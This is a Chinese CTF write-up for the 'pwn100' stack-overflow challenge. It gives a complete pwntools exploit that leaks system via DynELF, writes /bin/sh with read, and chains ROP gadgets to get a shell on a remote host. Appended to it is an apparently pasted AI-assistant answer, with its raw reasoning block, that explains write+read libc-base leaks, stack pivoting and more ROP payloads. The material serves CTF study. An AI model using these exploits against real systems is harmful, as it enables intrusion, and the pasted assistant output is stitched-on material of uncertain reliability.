CTF-PWN-pwn100 (ROP+DynELF定位system函数)

本文分析了一个存在栈溢出的程序,并详细解释了如何利用此漏洞。通过DynELF模块泄露system地址,利用read函数将/bin/sh写入数据段,构造ROP链劫持程序流程,最终实现远程代码执行。

漏洞分析

程序中只开了NX,查看程序逻辑发现:

int sub_40068E()
{
  char buf; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&buf, 200);
  return puts("bye~");
}

使用sub_40063D函数向buf中读取200个字符,显然存在栈溢出。接下来我们要思考如何利用这个漏洞。
观察到程序中调用read以及puts函数,而不存在system/bin/sh,我们可以考虑用DynELF模块泄露system的地址,然后用read函数将/bin/sh写入数据段,再通过构造ROP链劫持程序流程

用指令

readelf -S pwn100

查看段信息,将/bin/sh写入.data地址
至于如何调用read函数,在程序的init函数中有这样一段代码:

.text:0000000000400740 loc_400740:                             ; CODE XREF: init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    qword ptr [r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: init+36↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn

可以看到,0x40075A的一串pop指令是对程序寄存器的修改,然后0x400740以后的指令是执行r12+rbx*8地址处的函数

exp:

from pwn import *

#p=process("./pwn")
p=remote("111.198.29.45",52106)
elf=ELF("./pwn")

pop_rdi=0x400763
pop_6r=0x40075A
mov_addr=0x400740
start_addr=0x400550
puts_plt=elf.plt['puts']
read_got=elf.got['read']
binsh_addr=0x601000

def leak(addr):
    payload='a'*0x48+p64(pop_rdi)+p64(addr)+p64(puts_plt)+p64(start_addr)
    payload=payload.ljust(200,"a")
    p.send(payload)
    p.recvuntil("bye~\n")
    up=""
    content=""
    cnt=0
    while True:
	c=p.recv(numb=1,timeout=0.5)
	cnt+=1
	if up=='\n' and c=="":
	    content=content[:-1]+'\x00'
	    break
	else :
	    content+=c
	    up=c
    content=content[:4]
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
log.info("system_addr => %#x",sys_addr)
payload='a'*0x48+p64(pop_6r)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(1)
payload+=p64(mov_addr)+'\x00'*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.interactive()
<think> 我们参考引用内容,特别是引用[1]到[5],来回答用户关于使用write和read函数CTF Pwn中求libc基址的方法。 根据引用[4]和[5],我们知道: 1. 程序运行后,libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址(例如write或puts)来计算libc基址。 在CTF Pwn中,如果程序有栈溢出漏洞,我们可以构造ROP链来调用write函数(或puts函数)来泄露某个函数的真实地址(通常是GOT中存储的地址),然后通过这个地址减去该函数在libc中的偏移量,得到libc基址。 具体到使用write+read的方法,通常步骤如下: 步骤1:第一次溢出,利用ROP调用write函数,将GOT中某个函数(如write自身或puts)的地址输出到标准输出(文件描述符1)。同时,为了后续继续利用,我们需要控制程序返回到一个可以再次触发溢出的位置(如main函数开头)。 步骤2:接收程序输出,解析出泄露的函数地址。 步骤3:根据泄露的函数地址,计算libc基址(基址 = 泄露的函数地址 -函数在libc中的偏移量)。注意,不同libc版本中函数的偏移量不同,因此需要确定libc版本(可以通过泄露多个函数地址来匹配,或者题目提供了libc文件)。 步骤4:根据libc基址,计算出system函数和字符串"/bin/sh"的地址。 步骤5:第二次溢出,利用ROP调用read函数(或其他输入函数)将构造好的ROP链(调用system("/bin/sh"))写入到某个可写内存区域(如.bss段),然后跳转到该区域执行;或者直接构造ROP链调用system("/bin/sh")。 但是,用户特别提到使用write+read,所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码: 第一次ROP链: - 覆盖返回地址为write函数PLT地址(write@plt- 设置write函数的参数:文件描述符(1)、要泄露的地址(如write_got,即GOT中write的地址)、输出的长度(4或8字节,取决于32位还是64位) - 设置返回地址为main函数的地址(或另一个可以再次触发溢出的地址),这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值,然后计算libc基址。 第二次ROP链: - 覆盖返回地址为read函数PLT地址(read@plt- 设置read函数的参数:文件描述符(0,即标准输入)、存储地址(如.bss段的一个缓冲区)、长度(足够长以容纳我们输入的ROP链) - 设置返回地址为存储的ROP链的起始地址(即.bss段的那个缓冲区),这样read函数读入的数据(即我们构造的ROP链)会从.bss段开始执行。 第二次ROP链中,我们可以在.bss段写入一个ROP链,这个ROP链调用system("/bin/sh")。或者,我们可以利用read函数读入一个ROP链直接调用system("/bin/sh"),但要注意此时需要知道system函数的地址。 另一种常见的做法是:第二次ROP链直接构造调用system("/bin/sh"),而不通过read再次读入。但这里用户要求使用read,所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例(32位): 第一次ROP链: - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址,计算libc基址:libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址: system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链: - 填充缓冲区 - read@plt - system_addr (注意:这里我们希望read后返回到system,并且参数是/bin/sh,但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址?这里需要调整思路) 实际上,我们通常需要将"/bin/sh"字符串写入内存,如果libc中已经有这个字符串,我们可以直接使用。然后调用system函数。 但是,如果我们使用read读入,我们可以这样: 第二次ROP链1(使用read读入字符串和后续ROP): read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr(即执行我们读入的shellcode或ROP链) 但是,我们也可以直接构造ROP链调用system,此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址(如.bss段),然后调用system。 因此,第二次ROP链可以这样: - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址(用于清理read的参数),然后接着是system的地址和参数 - 参数1:0(标准输入) - 参数2:bss_addr(.bss段的一个地址,用于存放我们输入的字符串"/bin/sh") - 参数3:8(长度,足够存放字符串) - 然后设置返回地址为一段gadget:pop ebx; ret; 这样当read执行完后,会弹出参数(清理栈),然后执行下一条指令。接着我们调用system,参数是bss_addr。 具体构造(32位): payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释: - 调用read(0, bss_addr, 8)读入8个字节到bss_addr(这里我们输入"/bin/sh\x00") - read函数返回后,执行pop3_ret(一个弹出3个参数的gadget),将read的参数弹出栈,然后返回到system_addr - system_addr的返回地址是ret_addr(可以是一个无用的ret指令地址),参数是bss_addr(即我们读入的字符串地址) 但是,在64位系统中,参数传递通过寄存器,所以构造方式不同。 由于用户没有指定是32位还是64位,这里我们以32位为例。 然而,在实际题目中,我们往往需要根据题目提供的libc来确定偏移量,或者使用LibcSearcher等工具来查找。 总结步骤: 1. 利用write泄露一个GOT地址(如write_got)。 2. 计算libc基址(需要知道该函数在libc中的偏移)。 3. 计算system和/bin/sh的地址(需要知道它们在libc中的偏移)。 4. 利用read函数读入字符串"/bin/sh"到.bss段(可选,如果libc中已有则不用读入)。 5. 构造ROP链调用system("/bin/sh")。 注意:如果题目中write函数不可用,也可以用puts函数,但puts遇到'\0'会结束,所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移,我们可以使用类似的工具。 下面是一个简化的例子(假设是32位程序): 第一次ROP链: payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后,接收泄露的write_got地址(4字节),解析为地址。 然后,计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本,或者使用LibcSearcher 接着,计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有,则需要读入 第二次ROP链: # 首先,我们需要读入"/bin/sh"字符串到.bss段(假设bss_addr已知) payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里,弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后,我们调用system,参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址,可以随意 payload2 += p32(bss_addr) 然后发送payload2,接着发送字符串"/bin/sh\x00"(8字节)。 这样,程序就会执行system("/bin/sh")。 但是,如果libc中已经有"/bin/sh"字符串,我们可以直接使用,不需要读入。那么第二次ROP链可以简化为: payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而,用户要求使用read,所以这里我们展示的是需要读入字符串的情况。 注意:实际题目中,我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在,我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中,利用write和read函数求libc基址的主要区别是什么? 2. 如果程序中没有write函数,还可以用哪些函数来泄露libc基址? 3. 在利用read函数读入数据时,如何确定.bss段的地址? 4. 如何解决不同libc版本中函数偏移量不同的问题? 5. 在构造ROP链时,为什么有时候需要返回到main函数重新开始? </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中,通过`write`和`read`函数泄露libc基址是常见的利用技术,主要流程如下: #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 -函数在libc中的固定偏移量 即:$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT存储函数真实地址,通过泄露GOT项获取libc函数地址(如`write@got`)[^2][^5]。 #### 操作步骤 1. **第一次ROP链(泄露地址)** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据,解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链(getshell)** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中(如[^3]),用`read`构造栈迁移: ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域(如.bss段)[^3]。 2. **动态偏移处理** - 当libc版本未知时,用`LibcSearcher`匹配: ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时(无法执行shellcode) 3. 输入长度受限需结合栈迁移(如[^3]) ---
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